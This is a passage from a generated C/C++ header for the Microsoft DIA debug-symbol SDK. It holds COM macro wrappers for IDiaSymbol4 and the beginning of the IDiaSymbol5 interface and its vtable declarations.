IDiaSymbol4_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol4_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol4_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol4_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol4_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol4_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol4_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol4_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol4_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol4_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol4_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol4_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol4_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol4_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol4_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol4_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol4_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol4_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol4_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol4_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol4_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol4_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol4_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol4_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol4_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol4_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol4_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol4_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol4_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol4_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol4_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol4_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol4_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol4_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol4_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol4_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol4_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol4_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol4_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol4_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol4_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol4_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol4_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol4_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol4_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol4_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol4_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol4_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol4_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol4_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol4_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol4_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol4_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol4_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol4_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol4_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol4_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol4_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol4_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol4_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol4_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol4_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol4_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol4_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol4_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol4_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol4_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol4_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol4_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n\n#define IDiaSymbol4_get_inlinee(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) \n\n#define IDiaSymbol4_get_inlineeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) \n\n\n#define IDiaSymbol4_get_noexcept(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol4_get_noexcept_Proxy( \n    IDiaSymbol4 * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol4_get_noexcept_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol4_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol5_INTERFACE_DEFINED__\n#define __IDiaSymbol5_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol5 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol5;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"abe2de00-dc2d-4793-af9a-ef1d90832644\")\n    IDiaSymbol5 : public IDiaSymbol4\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_hasAbsoluteAddress( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol5Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol5 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol5 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol5 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol5 * This,\n            /* 